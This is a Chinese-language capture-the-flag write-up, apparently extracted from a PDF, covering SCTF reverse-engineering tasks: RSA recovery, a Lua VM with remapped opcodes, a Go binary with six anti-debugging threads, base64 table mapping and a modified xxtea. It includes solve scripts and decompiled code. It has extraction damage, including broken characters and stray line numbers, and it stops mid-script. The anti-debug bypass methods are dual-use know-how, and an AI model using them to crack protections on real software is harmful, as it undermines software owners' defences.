2h\x08cd\tz\x05i\x02a\x08od\x03u\x00h\x03i\x02aa\x06s\to\x01`\x00cd\x03t\x01o\x
01m\x05bg\x05r\x03o\tj\x02bj\x07u\x08h\x03k\x08oa\x02p\x07o\x06j\x03oc\x07z\x00
m\x01a\x01nk\x05r\x04j\x01i\x01dd\x05u\x03n\x07n\x07eb\x07u\x01l\x08a\x03dj\x05
z\x05m\x03n\tod\tt\x03i\x05h\x08ck\x00w\x02l\x00o\x06`g\x05w\x04c\x04i\te`\x08s
\x00k\x04`\x01a`\x02z\x06n\x06i\x07dj\tz\x03m\x03k\x07df\x07w\x05m\tn\x04`a\x06
r\x07i\tl\x03gf\x07p\x03h\x05i\x01g`\x08{\x05n\x06l\x07ab\x07{\x06n\x03k\x02fk\
x03t\tc\x03n\x02`c\x08t\x02l\x06a\x04ba\x03v\x06b\x06h\x05dc\x08v\x06k\x03l\x01
aj\ts\x07i\x00m\x00cg\x02u\x04i\x02j\x08bf\x00r\x01i\th\x08aj\x06w\x00m\tj\x08b
a\x05p\x02c\x08h\x01cb\x05s\x04http://47.109.106.62:9090{"name":"SCTF","passwor
d":"88888888"}'
b'g\tt\x01h\th\x07ej\x01r\x05c\x02o\x00cb\x02q\x05h\x04o\x05db\x04z\x01h\x04`\x
02ff\x05r\x02i\x01l\x02ed\x01v\x01m\x04n\x08gg\x01s\x08c\x05a\x00be\x01t\tj\x06
a\x07da\x06v\x01h\x03`\x08fe\tq\x03l\x08`\x02ce\tr\x01h\x06h\x07``\x02{\x04m\x0
1k\x06od\x06w\x07k\x08k\x00`b\x06z\th\x01m\x08o`\x03{\x08l\x03h\x04db\x07v\x04l
\x02`\x06cf\x03r\x06l\x08o\x03a`\ts\th\th\x01gg\x01v\x02k\x08o\x07dg\x07u\x06b\
x02k\x05`f\x07v\x04n\x08`\td`\x08p\x06n\x04i\x00oj\x03t\x08b\x01h\x00ad\x00p\x0
2o\x06o\x02gg\x07r\x04i\tm\x08`k\x01w\x08h\x05j\x07ca\x05v\x01i\x06h\x01dd\x06r
\x04i\x03j\x08gk\x07q\x01n\tj\x02ab\x04p\x03k\x08l\x04cj\x06z\x00h\x03h\x08dg\x
00u\x04m\x08j\x03ek\x06v\x08h\x05n\x00bg\x04{\x01m\x00h\x08cd\x01z\x04h\ta\x02d
a\x08q\x02c\x05l\x03bf\x03v\x02b\x01m\x07bb\x08v\x01j\x06k\x01cf\x00v\x02n\x08j
\x07ab\x08v\x00n\x01i\toe\x01p\x02c\x05h\x05bc\x00r\x04n\x04n\x08fg\x03v\x06j\x
03h\x07fe\x06p\x00l\x01j\x03ne\x00{\tk\x07l\x04bg\ts\x01o\x00j\x05ge\x01p\x01h\
x00m\x05c`\x07v\x00o\x08o\x04gg\x05{\x06h\th\x02ej\x05w\x05k\x01m\x06ob\x01s\x0
6h\x07o\x02`d\x00q\x04n\x04j\x05db\x07s\x01j\x05l\x04cc\x01q\x02m\x04j\tfc\x02v
\x03k\x01i\x05gd\x05t\x08n\x03m\x04ec\x03s\x08j\x07a\x05gb\x05z\x04b\x03h\x04gd
\x00r\x01i\x01a\x02fj\tq\x00k\x02l\x02bc\x02u\x04h\x07j\x08ec\x05u\x02c\x06o\x0
3fb\x01u\x08n\ti\x07na\x02s\x00o\x06j\x06ge\x03w\to\x00i\x08nj\x03p\x04i\th\x04
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b`\x00r\x08h\x03`\x04ok\x03p\x03j\x06h\x02fk\x01q\x05http://47.109.106.62:9090{
"name":"SCTF","password":"88888888"}'

Transform�⽅法是逐位乘�100�然后直接�str()�连接�

Anything�是⼀个置乱，写逆只是时间问题，先放着�

好久没打安卓了，它没给�x86�so�我是不是不能⽤模拟器调，静态看的话像是什么⼤数计算�

n1�=�

10669721913248017310606431714870563867652912174255756777085768772939744689879045

15774877239910831730102424168632380997160447756586819818214079227220527789589428

91831033512463262741053961681512908218003840408526915629689432111480588966800949

428079015682624591636010678691927285321708935076221951173426894836169�

n2�=�

14481942446584230780635367254734412529071675353523965841788382894123250962283869

27619172118069630111688222816660336951574265158642655270462133261451743980188590

56439431422867957079149967592078894410082695714160599647180947207504108618794637

872261572262805565517756922288320779308895819726074229154002310375209�

e�=�65537�

c�=�114514114514114514114514114514114514114514114514�

最后这个反正不确定是什么

这恐怕事�rust�罢�

factordb查，两个都是素数（isPrime检测下就⾏）�

调试起来看值，输⼊2，输出⽐两个值都⼤很多，直接猜⼀⼿p和q，rsa，结束。�

from gmpy2 import invert

n1 = 
1066972191324801731060643171487056386765291217425575677708576877293974468987904
5157748772399108317301024241686323809971604477565868198182140792272205277895894
2891831033512463262741053961681512908218003840408526915629689432111480588966800
949428079015682624591636010678691927285321708935076221951173426894836169
n2 = 
1448194244658423078063536725473441252907167535352396584178838289412325096228386
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9276191721180696301116882228166603369515742651586426552704621332614517439801885
9056439431422867957079149967592078894410082695714160599647180947207504108618794
637872261572262805565517756922288320779308895819726074229154002310375209

e = 65537

c = 
b'b\x03q\x00c\x03k\x02ce\x04z\x07b\x06`\x03ba\x05q\x00o\ta\x08dk\x06w\x01o\tj\t
n`\x03v\x02n\x06m\x04fd\x04z\x01l\x01m\x03ed\x03q\tk\x02h\tae\x04q\x02n\x02n\x0
4df\tu\x01b\x08k\x08f`\x08w\x07c\x01h\x02fj\x08p\x01j\x04o\tbb\x00p\ti\x08m\x03
nk\tr\x01m\x05`\x08nb\x00u\x02o\x02k\x04n`\x02q\x08o\x02n\x04`d\x01w\x05h\ta\ta
g\x01s\x00k\to\x01ej\x05t\tm\x05k\x08`k\x03r\x08i\x00m\x03ca\x08w\x06n\x05o\x03
d`\x02z\x03b\x03h\x03fc\tv\x03k\x04i\x04ej\tr\x02m\x07h\x04fa\x06{\x01k\x08o\x0
6ac\x00t\x07k\x08`\tob\x03v\x01k\x07a\x02bd\x00r\x00h\x03`\x03fa\x00t\x06l\t`\x
00ag\tu\x08i\x04i\tfe\x02s\x06m\x08a\x07cc\x08z\x03m\x01o\x05ae\tw\x08j\x08h\x0
0f`\x03u\x01m\x08m\x01o`\x03t\x07h\x05`\x05ad\x01u\x05o\x07a\x06oj\x06z\x03m\x0
2h\x08cd\tz\x05i\x02a\x08od\x03u\x00h\x03i\x02aa\x06s\to\x01`\x00cd\x03t\x01o\x
01m\x05bg\x05r\x03o\tj\x02bj\x07u\x08h\x03k\x08oa\x02p\x07o\x06j\x03oc\x07z\x00
m\x01a\x01nk\x05r\x04j\x01i\x01dd\x05u\x03n\x07n\x07eb\x07u\x01l\x08a\x03dj\x05
z\x05m\x03n\tod\tt\x03i\x05h\x08ck\x00w\x02l\x00o\x06`g\x05w\x04c\x04i\te`\x08s
\x00k\x04`\x01a`\x02z\x06n\x06i\x07dj\tz\x03m\x03k\x07df\x07w\x05m\tn\x04`a\x06
r\x07i\tl\x03gf\x07p\x03h\x05i\x01g`\x08{\x05n\x06l\x07ab\x07{\x06n\x03k\x02fk\
x03t\tc\x03n\x02`c\x08t\x02l\x06a\x04ba\x03v\x06b\x06h\x05dc\x08v\x06k\x03l\x01
aj\ts\x07i\x00m\x00cg\x02u\x04i\x02j\x08bf\x00r\x01i\th\x08aj\x06w\x00m\tj\x08b
a\x05p\x02c\x08h\x01cb\x05s\x04'

k = b'S0C0Z0Y0W'
nc = b''
for i in range(len(c)):
    nc += bytes([c[i] ^ k[i % len(k)]])
c = int(nc)

n = n1 * n2
phi = (n1 - 1) * (n2 - 1)
d = invert(e, phi)
m = pow(c, d, n)

assert not '000' in str(m)
m = str(m).split('00')[:-1]
m = [int(i) for i in m]
m = bytes(m).decode()

dummy = '0123456789abc'
ret = '60718293a4b5c' # 置乱懒得仔细看，知道⻓度之后放进 java ⾥过⼀下然后打表 

flag = ''
for i in range(len(m)):
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    flag += m[ret.index(dummy[i])]
print(flag)

# wshm56yt7ujhg
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SGAME�

main⾥就是⼀坨，输出banner中间还穿插⼀个ptrace反调试。banner结束之后⽤中间的key�rc4解密

game⽂件。先⼿动解密，拖⼊010，奇怪的ELF头，但是很明显不像ELF。往后看看就是个luac⽂件，

直接将头改回来 \x1bLua ，后⾯的字符刚好是T，说明是5.4版本，官⽹下载、编译，bindiff恢复符

号，真是⼀⽚绿啊。

不过main啥也没做，就把⽂件读⼊、解密、加载，然后要求输⼊，保存在input_flag中，最后执⾏加

载的代码。

头部改了后的luac⽤标准的lua也跑不起来，⽤luac列字节码也会失败，正常，改opcode顺序的题⽬

太多了。直接找到它的disptab，和标准的⽐较，⼈⾁⼀下就能得到正确的opcode顺序了。但是还没

完，将操作码还原之后luac还是失败，和标准的⽐较⼀下发现跳表之前多了个�>>�8�的操作�

所以这是把操作数操作码的位置也交换了。那么确定代码范围后写个脚本将代码还原

def opcode_SGAME_to_lua(opcode):
    A = opcode & 0xff
    op = (opcode >> 8) & 0x7f
    kBC = opcode >> 15
    assert op < 83
    if op < 55:
        op += 11
    elif op < 66:
        op -= 55
    else:
        op = op
    return op | (A << 7) | (kBC << 15)
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luac = bytearray(open('out.luac', 'rb').read())
fixup_code_starts = [ 0x2e, 0x270, 0x3aa, 0x4bf, 0x552, 0x65b, 0x867, 0x9ff ]
nop_code_starts = [ 0x2fa ]

for start in fixup_code_starts:
    size = luac[start] & 0x7f
    index = start + 1
    for i in range(size):
        opcode = int.from_bytes(luac[index + 4 * i: index + 4 * i + 4], 
'little')
        luac[index + 4 * i: index + 4 * i + 4] = 
opcode_SGAME_to_lua(opcode).to_bytes(4, 'little')

for start in nop_code_starts:
    size = luac[start] & 0x7f
    index = start + 1
    for i in range(size - 1):
        luac[index + 4 * i: index + 4 * i + 4] = b'\x00' * 4 # nop
    luac[index + 4 * (size - 1): index + 4 * size] = (0x47).to_bytes(4, 
'little') # return0

open('out2.luac', 'wb').write(luac)

13
14
15
16
17
18
19
20
21
22

23

24
25
26
27
28
29
30

31
32

发现有个捣乱的函数（也有可能是其他原因导致luac失败），直接nop掉。�

⽤luac输出字节码，再⼿动恢复出原逻辑。恢复tea加密函数和⼊⼝拿key和加密结果就⾏了，直接解

密即可。

def tea_encrypt(r0, r1):
    r2 = r0[0]
    r3 = r0[1]
    r4 = 0
    r5 = 0x99999999
    for r9 in range(42):
        r4 = r4 + r5 & 0xffffffff
        r2 = (r2 + ((((r3 << 4) ^ (r3 >> 5)) + r3) ^ (r4 + r1[r4 & 3]))) & 
0xffffffff
        r3 = (r3 + ((((r2 << 4) ^ (r2 >> 5)) + r2) ^ (r4 + r1[(r4 >> 11) & 
3]))) & 0xffffffff
    r2 ^= 12
    r3 ^= 18
    return [r2, r3]

def tea_decrypt(r0, r1):
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    r2 = r0[0] ^ 12
    r3 = r0[1] ^ 18
    r4 = 0x99999999 * 42 & 0xffffffff
    r5 = 0x99999999
    for r9 in range(42):
        r3 = (r3 - ((((r2 << 4) ^ (r2 >> 5)) + r2) ^ (r4 + r1[(r4 >> 11) & 
3]))) & 0xffffffff
        r2 = (r2 - ((((r3 << 4) ^ (r3 >> 5)) + r3) ^ (r4 + r1[r4 & 3]))) & 
0xffffffff
        r4 = r4 - r5 & 0xffffffff
    return [r2, r3]

v = [
    3633266294, 3301799896, 2704688257, 2306037448,
    1267864397, 1132773035,  114101720, 3838684141,
    4189720444, 4028672856,  277437884,  787003469
]

k = [ 19088743, 2309737967, 4275878552, 1985229328 ]

s = b''
for i in range(0, len(v), 2):
    v0, v1 = tea_decrypt(v[i: i + 2], k)
    s += v0.to_bytes(4, 'big')
    s += v1.to_bytes(4, 'big')
print(s)

# SCTF{470b-a3e5c-9beb-60337-84ef2-5194d-aedc}
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Ezgo�

go，最新版1.23，⽽且还把所有函数名抹掉了。不过都是⼩问题，⾃⽤脚本⾥加个1.23就⾏，解析跟

1.20相同的；函数名可以通过万能群友分享的flirt恢复⼤部分。并且go框架各个版本基本⼀致，对照⾃

⽤的有符号go�sample恢复go框架函数名就⾏。�

根据题⽬描述， debug it patiently!!! ，肯定是有反调试的，⽽且⼤概率是在main.main之

前做的，找框架⾥的初始化，果然有main.init�

void main.init()
{
  __int64 v0; // r14
  __int64 i; // rax
  __int64 v2; // [rsp+0h] [rbp-40h]
  _QWORD v3[7]; // [rsp+8h] [rbp-38h]
  void *retaddr; // [rsp+40h] [rbp+0h] BYREF

1
2
3
4
5
6
7



  if ( (unsigned __int64)&retaddr <= *(_QWORD *)(v0 + 16) )
    runtime.morestack_noctxt();
  v3[0] = off_4E00B0;
  v3[1] = off_4E00B8;
  v3[2] = &off_4E00C0;
  v3[3] = off_4E00A8;
  v3[4] = &off_4E00C8;
  v3[5] = &off_4E00D0;
  for ( i = 0LL; i < 6; i = v2 + 1 )
  {
    v2 = i;
    runtime.newproc(v3[i]);
  }
  flag.len = 0LL;
  if ( runtime.writeBarrier )
    sub_46C980();
  flag.data = 0LL;
  flag._ptr_FlagSet.Var(mFlagSet, &off_4FF660, &flag, aFlag, 4LL, aYourFlag, 
9LL);
  if ( !args_len )
    runtime.panicSliceB(1uLL, 0LL);
  flag._ptr_FlagSet.Parse(mFlagSet, args + (((1 - args_cap) >> 63) & 0x10), 
args_len - 1, args_cap - 1);
}
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好家伙，直接开了6个线程，依次看完，恢复：�

rc4key = b'hey_syclover2024'
has_debugger = False
target = 
bytes.fromhex('f05b295fc35c2abc8a428fe7635cfdac747e6dd36713841bda607c3696a880da
51a7ece562fec9b5e1f90712b353b3c0311486d0c3d092de5a0dd1ff5b001d2e')

def change_rc4key():
    global rc4key
    rc4key = rc4key[::-1]
    rc4key = rc4key[: 4][::-1] + rc4key[4: ][:: -1]
    # rc4key = rc4key[-4: ] + rc4key[: -4]

def rc4_update():
    global target
    change_rc4key()
    target = ARC4.new(rc4key).encrypt(target)
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def proc_1_1():
    chan_1_3.recv1()
    # ptrace anti-debug
    if not has_debugger:
        rc4_update()
    chan_1_5.send1()
    chan_1_4.send1()

def proc_1_2():
    chan_1_1.recv1()
    # check linux_server and linux_server64 process
    if not has_debugger:
        rc4_update()
    chan_1_2.send1()

def proc_1_3():
    chan_1_2.recv1()
    # check port 23946
    if not has_debugger:
        rc4_update()
    chan_1_3.send1()

def proc_1_4():
    # check TracerPid
    if not has_debugger:
        rc4_update()
    chan_1_1.send1()

def proc_1_5():
    # check parent process comm including sh
    assert not has_debugger

def proc_1_6():
    global target
    chan_1_4.recv1()
    while True:
        # sleep(2)
        # time anti-debugger
        if has_debugger:
            target = bytes(i ^ 0x66 for i in target)
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6个都有反调，还好我会静态分析�



main.init⾥还设置了参数解析，也就是flag是通过命令⾏⾥传进来的，需要⽤ sycgogogo --
flag flagflagflagflag 这种⽅式运⾏。

再来到main.main�

void main.main()
{
  __int64 v0; // r14
  _QWORD v1[2]; // kr00_16
  __int64 v2; // rcx
  string v3; // kr10_16
  _QWORD v4[2]; // kr20_16
  __int64 v4_cap; // [rsp+8h] [rbp-38h] MAPDST
  _QWORD v7[2]; // [rsp+18h] [rbp-28h] BYREF
  _QWORD v8[2]; // [rsp+28h] [rbp-18h] BYREF
  void *retaddr; // [rsp+40h] [rbp+0h] BYREF

  if ( (unsigned __int64)&retaddr <= *(_QWORD *)(v0 + 16) )
    runtime.morestack_noctxt();
  if ( !flag.len )
    runtime.gopanic(&type_string, &off_4FEA28);
  *(_OWORD *)v1 = strings.genSplit(flag.data, flag.len, "_", 1LL, 0LL, -1LL);
  v3 = strings.Join(v1[0], v1[1], v2, 0LL, 0LL);
  *(_OWORD *)v4 = main.encrypt(v3.data, v3.len);
  runtime.chanrecv1(chan_1_5, 0LL);
  if ( cmp(&off_4FF360, (const char *)v4[0], v4[1], v4_cap, target.buf, 
target.len, target.cap) )
  {
    v7[0] = &type_string;
    v7[1] = &stru_4FEA38;                       // GG...
    fmt.Fprintln(&off_4FF328, qword_593F38, v7, 1LL, 1LL);
  }
  else
  {
    v8[0] = &type_string;
    v8[1] = runtime.convTstring(flag.data, flag.len);
    fmt.Fprintf(&off_4FF328, qword_593F38, aCongratulation, 42LL, v8, 1LL, 
1LL);// congratulations, the flag is syclover{%s}
  }
}

_OWORD __usercall main.encrypt@<rbx:rax>(const char *s_data@<rax>, __int64 
s_len@<rbx>)
{
  __int64 v2; // r14
  char v5; // cl

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

22
23
24
25
26
27
28
29
30
31

32
33
34
35

36
37
38



  __int64 i; // rbx MAPDST
  _QWORD *v8; // rax
  _QWORD *v9; // rax
  _QWORD *v10; // rax
  __int64 v11; // rbx
  __int128 result; // rbx:rax
  _QWORD *EncryptedData_chan; // [rsp+Ah] [rbp-28h]
  _QWORD *v15; // [rsp+12h] [rbp-20h] MAPDST
  _QWORD *v16; // [rsp+1Ah] [rbp-18h]
  void *mWaitGroup; // [rsp+22h] [rbp-10h] MAPDST
  void *retaddr; // [rsp+32h] [rbp+0h] BYREF

  if ( (unsigned __int64)&retaddr <= *(_QWORD *)(v2 + 16) )
    runtime.morestack_noctxt();
  v16 = runtime.makeslice(&type_uint8, 0x40uLL, 0x40uLL);
  mWaitGroup = runtime.newobject(&type_sync.WaitGroup);
  EncryptedData_chan = runtime.makechan(&type_chan.abcd3.EncryptData.ptr, 
4uLL);
  v5 = 1;
  i = 0LL;
  while ( 1 )
  {
    if ( !v5 )
      ++i;
    if ( s_len <= 16 * i )
      break;
    sync._ptr_WaitGroup.Add(mWaitGroup, 1LL);
    v15 = runtime.newobject(&qword_4CA840);     // struct { F uintptr; X0 
string; X1 int; X2 chan abcd3.EncryptData }
    *v15 = proc_2_1;
    v15[2] = s_len;
    if ( runtime.writeBarrier )
      sub_46C9A0();
    v15[1] = s_data;
    v15[3] = i;
    v15[4] = EncryptedData_chan;
    v8 = runtime.newobject(&qword_4C8020);      // struct { F uintptr; X0 
func(*sync.WaitGroup); X1 *sync.WaitGroup }
    *v8 = sub_4B0D40;
    if ( runtime.writeBarrier )
      sub_46C9A0();
    v8[1] = v15;
    v8[2] = mWaitGroup;
    runtime.newproc(v8);
    v5 = 0;
  }
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  v9 = runtime.newobject(&qword_4C7F80);        // struct { F uintptr; X0 chan 
abcd3.EncryptData; X1 []uint8 }
  *v9 = proc_2_2;
  if ( runtime.writeBarrier )
    sub_46C9A0();
  v9[1] = EncryptedData_chan;
  v9[3] = 64LL;
  v9[4] = 64LL;
  v9[2] = v16;
  runtime.newproc(v9);
  sync._ptr_WaitGroup.Wait(mWaitGroup);
  runtime.closechan(EncryptedData_chan);
  runtime.chanrecv1(chan_2_4, 0LL);
  v10 = v16;
  v11 = 64LL;
  *((_QWORD *)&result + 1) = v11;
  *(_QWORD *)&result = v10;
  return result;
}
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还是通过新线程做数据处理的，⽤chan同步。这部分抄写出来如下：�

aeskey = b'hey_syclover2024'
def change_aeskey():
    global aeskey
    aeskey = aeskey[::-1]
    aeskey = aeskey[: 4][::-1] + aeskey[4: ][:: -1]
    # aeskey = aeskey[-4: ] + aeskey[: -4]

def proc_2_1(data, i, EncryptedData_chan):
    data = data[i * 16: i * 16 + 16]
    if i == 0:
        data = AES.new(aeskey, AES.MODE_ECB).encrypt(data)
        EncryptedData_chan.send1(data)
        change_aeskey()
        chan_2_1.send1()
    elif i == 1:
        chan_2_1.recv1()
        data = AES.new(aeskey, AES.MODE_ECB).encrypt(data)
        EncryptedData_chan.send1(data)
        change_aeskey()
        chan_2_2.send1()
    elif i == 2:
        chan_2_2.recv1()
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        data = AES.new(aeskey, AES.MODE_ECB).encrypt(data)
        EncryptedData_chan.send1(data)
        change_aeskey()
        chan_2_3.send1()
    elif i == 3:
        chan_2_3.recv1()
        data = AES.new(aeskey, AES.MODE_ECB).encrypt(data)
        EncryptedData_chan.send1(data)
    else:
        assert False
    mWaitGroup.Add(-1)

def proc_2_2(EncryptedData_chan, buf):
    i = 0
    while True:
        tmp = EncryptedData_chan.recv()
        if not tmp: break
        for j in range(16):
            buf.append(tmp[i])
        if i == 3: chan_2_4.send1()
        i += 1

def main_main(flag):
    buf = []
    flag = ''.join(flag.split('_'))
    for i in range(len(flag) // 16):
        mWaitGroup.Add(1)
        newproc(proc_2_1, [data, i, EncryptedData_chan], mWaitGroup)
    newproc(proc_2_2, [EncryptedData_chan, buf])
    mWaitGroup.Wait()
    chan_2_4.recv1()
    chan_1_5.recv1()
    return bytes(buf) == target
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逻辑就都抄完了，看着多实际不难，都是线性的。

但是写逆后发现解不出来，怎么都不对，整个⼈都傻了，按照静态分析这不应该出错的，到底哪⼉有

问题呢。。。本来不想调的，看来只能把有关反调的地⽅patch⼀下再调试了。�

调试断到main.main中⽐较函数处，发现⽐较的target值跟预期⼀样的，输⼊加密的得到的值不⼀样，

⽽输⼊的加密就只是个AES，怎么会有问题呢？进⼊AES加密的函数⼀看：�



好家伙，在这⼉等着我是吧，前⾯⼀堆反调就算了，连这加密函数都要改⼀下，诗⼈？

for i in range(4):
    rc4_update()
# target = bytes(i ^ 0x66 for i in target)
flag = b''
for i in range(4):
    flag += AES.new(aeskey, AES.MODE_ECB).decrypt(target[i * 16: i * 16 + 16])
    change_aeskey()

print(bytes(i ^ 0x66 for i in flag))

# IHopeTheDebuggingProcessDidn1tTortureYouAndHopeYouHaveFunInSCTF!
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BBox�

发现完全可以调试，直接开始�fuzz�，java�层�fuzz�出来⾄少包含�base64�

从⻓度为�4�的倍数上可以看出�

但是它这个也不是简单的换表，在输⼊单字符时，明显是把�=�换成�<�了�

⼀开始就想当然地以为不能调了，实际上没有反调试。

直接跳过�Java�层平坦化的部分，根据结果来猜，下如图所⽰断点考察�v6�的变化，发现⻓度上有�

base64�特征，再多次尝试发现，base64�的换表根据输⼊⻓度不同进⾏，⼿动排除掉输⼊为�28�和�29�

的情况（观察末尾填充符），确认输⼊⻓度为�30�，接下来尝试随机输⼊，打表覆盖�base64�密⽂的字

⺟集即可



Native�层⾮常简单，完整解题脚本如下：�

import random
import base64
from string import digits, ascii_letters
from Crypto.Util.number import long_to_bytes

cip = [2747842611, 438157299, 3333898555, 1384537841, 510381906, 3217816005, 
4049763309, 1414022135, 3645670907, 1861365813]
r = [185, 173, 127, 3, 159, 15, 241, 103, 121, 183, 57, 221, 147, 136, 174, 
234, 176, 61, 122, 7, 242, 137, 229, 52, 35, 85, 216, 78, 183, 218, 236, 113, 
136, 108, 116, 39, 123, 101, 142, 245]

s = b''

for i in cip:
    for _ in range(32):
        if i & 0x1:
            i ^= 0x85B6874F
            i >>= 1
            i += 0x80000000
        else:
            i >>= 1
    s += long_to_bytes(i)[::-1]

tmp = []
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for i in range(40):
    tmp.append(s[i] ^ r[i])

target = bytes(tmp)

printable = digits + ascii_letters + "+/={}<>?@[]^_`|~!#$%&'()*+,-.:;"

def generate_input():
    input_str = ''
    for _ in range(30):
        input_str += random.choice(printable)
    return input_str.encode()

b64table = b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"

hash_table = {}
for i in b64table:
    hash_table[i] = 0

# inps = []
# while 0 in hash_table.values():
#     input_str = generate_input()
#     res = base64.b64encode(input_str)

#     for i in res:
#         hash_table[i] = 1
#     inps.append(input_str)

inps = [
    b'-hC<$YR/DkipTfl+._+6PCEVTH%aQA',
    b'sauia7M(S#&1jl&uhL+A,r0W5>~:%r',
    b'&YN&%O5N8sScS)}$}C<h=vy=cY<!{r',
    b'_3-+If6Kd_hF2wo$*$%Q1?{s%bE>.N',
    b"d<gRjskdhcr'C2TpI+l)8y}8*7x11H",
    b"qsGN0IK&N1zmeb|<[%)iS~m'Z!@)N<",
    b'T.jz_+PeQLh8@LqF8+~A(^qnNat(zh',
    b'byRf}LxfFia]keS[_mU&CyCM8/DRd-',
    b'0_4b#=4-Tz-N)#fnac`i&pD0y#vd(<',
    b"!?;=KbRzgVWb-<c3XB'/m;lQ3P^XYr",
    b'^QgMI(=sC>M7$te6~,7_NRFvG}+cXz',
    b":eHzyoj=LE>40U'<fS[pvn&c4Ds~r4",
    b"oNKZV9+ku+'B8PFtj30UOhO>znOLe'",
    b"=2u{gRv}q'UrtTQJ`@vqJTV[voJD>s",
    b'^Gb.=^%X!,=GFCfkC;&A&#Gzv`=a*Q',
    b"'e9kvwvP8e);4?TFSOzo:b6@zaa/a}",
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    b'&Tb-<{:#_ANp[C{bl&,oy#4.e_skNV',
    b'S?NcMXV%/{%5c-^Eh>J+I;1sWGkH3C',
    b'v$`WR<SrmN4lYm[-Z.z`bDq>.M0Z5L',
    b"@%$2N8-*Z!'qwjZs]SC+&2!ew$oh0#",
    b'(4!3TQ7|~t]{>In-^}tMd8fivqXuxf',
    b'~},-!5mVb(0R3@+c6Nd#bI<GSOdqG~',
    b'+Bx%RSZw]WsNs<?5BF)GnP?!=7/)Bd'
]

rets = [
    [
          0x56, 0x48, 0x7C, 0x6F, 0x52, 0x6E, 0x77, 0x4D, 0x72, 0x5F, 
  0x50, 0x6C, 0x4A, 0x2E, 0x7D, 0x27, 0x4B, 0x6A, 0x4D, 0x68, 
  0x59, 0x69, 0x2D, 0x44, 0x59, 0x66, 0x4D, 0x76, 0x76, 0x67, 
  0x4B, 0x48, 0x4B, 0x6C, 0x7F, 0x7D, 0x4C, 0x4B, 0x6D, 0x71
    ],
    [
          0x49, 0x2E, 0x6D, 0x64, 0x4A, 0x48, 0x6C, 0x2F, 0x75, 0x74, 
  0x7C, 0x75, 0x5B, 0x69, 0x4C, 0x35, 0x4A, 0x7A, 0x27, 0x7A, 
  0x46, 0x48, 0x7C, 0x57, 0x59, 0x67, 0x6C, 0x68, 0x49, 0x5C, 
  0x71, 0x4F, 0x54, 0x75, 0x2D, 0x51, 0x55, 0x5F, 0x4B, 0x69
    ],
    [
          0x58, 0x7D, 0x7D, 0x55, 0x58, 0x5F, 0x4B, 0x52, 0x54, 0x72, 
  0x2C, 0x2C, 0x49, 0x64, 0x54, 0x5C, 0x72, 0x69, 0x7D, 0x50, 
  0x58, 0x5A, 0x64, 0x6F, 0x52, 0x6A, 0x7F, 0x50, 0x46, 0x7B, 
  0x5D, 0x50, 0x4C, 0x64, 0x5D, 0x53, 0x5B, 0x4F, 0x28, 0x69
    ],
    [
          0x4F, 0x66, 0x57, 0x28, 0x59, 0x67, 0x7D, 0x7A, 0x54, 0x5D, 
  0x28, 0x5D, 0x4F, 0x2E, 0x7C, 0x6A, 0x57, 0x7B, 0x46, 0x26, 
  0x58, 0x6E, 0x78, 0x5D, 0x58, 0x4B, 0x6C, 0x35, 0x52, 0x2F, 
  0x28, 0x66, 0x58, 0x48, 0x58, 0x6D, 0x52, 0x5F, 0x2D, 0x55
    ]
]

mapping = {}
for i in target:
    mapping[i] = 0

for i in range(len(rets)):
    std = base64.b64encode(inps[i])
    rea = bytes(rets[i])

    for j in range(40):
        if rea[j] in mapping and mapping[rea[j]] == 0:
            mapping[rea[j]] = std[j]

69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115



        elif rea[j] in mapping and mapping[rea[j]] != std[j]:
            print("Error", rea[j], std[j])
            break

if 0 in mapping.values():
    print("Keep Move On")
    print(mapping)
else:
    b64flag = b''
    for c in target:
        b64flag += bytes([mapping[c]])
    print(base64.b64decode(b64flag))

# b'Y0u_@re_r1ght_r3ver53_is_easy!'
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随机数来⾃：

#include <stdio.h>
#include <stdlib.h>

int main() {
    int r;
    srand(0x11);
    for (int i = 0; i < 40; i++) {
        r = rand() & 0xFF;
        printf("%d, ", r);
    }
    return 0;
}
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从发现可以调试到解决本题⽤时⼤约⼀⼩时（

ez_cython�

pyinstaller解包后pyc反编译，没啥有⽤的，处理都在cy�pyd⾥。sub_180006C60是module初始化，

⾥⾯定义了module⾥函数、常数等，其中的sub_180007B00定义常量，创建个module的结构体就⾏�



然后就是⼏个编译出来的函数，逆⼀下就是个魔改xxtea。�

class QOOQOOQOOQOOOQ:
    def __init__(self):
        self.key_data = [
            249, 211, 233, 155, 154, 252, 207, 248,
            204, 154, 248, 252, 207, 216
        ]

    def get_key(self):
        return [k ^ 170 for k in self.key_data]

def sub50804(a, b, c, d, e, f):
    return (((a >> 3) ^ (b << 3)) + ((b >> 4) ^ (a << 2))) ^ ((b ^ c) + (d[((e 
& 2) ^ f)] ^ a))

def sub50520(data, key):
    delta = 0x9e3779b9
    sum = 0
    n = len(data)
    rounds = 60 // n + 4
    z = data[n - 1]
    for _ in range(rounds):
        sum = sum + delta & 0xffffffff
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        e = (sum >> 3) & 3
        for p in range(n - 1):
            data[p] = data[p] + sub50804(z, data[p + 1], sum, key, p, e) & 
0xffffffff
            z = data[p]
        data[n - 1] = data[n - 1] + sub50804(z, data[0], sum, key, n - 1, e) & 
0xffffffff
        z = data[n - 1]
    return data

def sub14514(nmnmnnnmnmmnmmnn):
    key = QOOQOOQOOQOOOQ().get_key()
    result = [
        4108944556, 3404732701, 1466956825,  788072761,
        1482427973,  782926647, 1635740553, 4115935911,
        2820454423, 3206473923, 1700989382, 2460803532,
        2399057278,  968884411, 1298467094, 1786305447,
        3953508515, 2466099443, 4105559714,  779131097,
         288224004, 3322844775, 4122289132, 2089726849,
         656452727, 3096682206, 2217255962,  680183044,
        3394288893,  697481839, 1109578150, 2272036063
    ]
    return sub50520(nmnmnnnmnmmnmmnn.copy(), key) == result

def decrypt(data, key):
    delta = 0x9e3779b9
    n = len(data)
    rounds = 60 // n + 4
    sum = delta * rounds  & 0xffffffff
    y = v[0]
    for _ in range(rounds):
        e = (sum >> 3) & 3
        for p in range(n - 1, 0, -1):
            data[p] = data[p] - sub50804(data[p - 1], y, sum, key, p, e) & 
0xffffffff
            y = data[p]
        data[0] = data[0] - sub50804(data[n - 1], y, sum, key, 0, e) & 
0xffffffff
        y = data[0]
        sum = sum - delta & 0xffffffff
    return data

key = QOOQOOQOOQOOOQ().get_key()
# print(bytes(key))

v = [
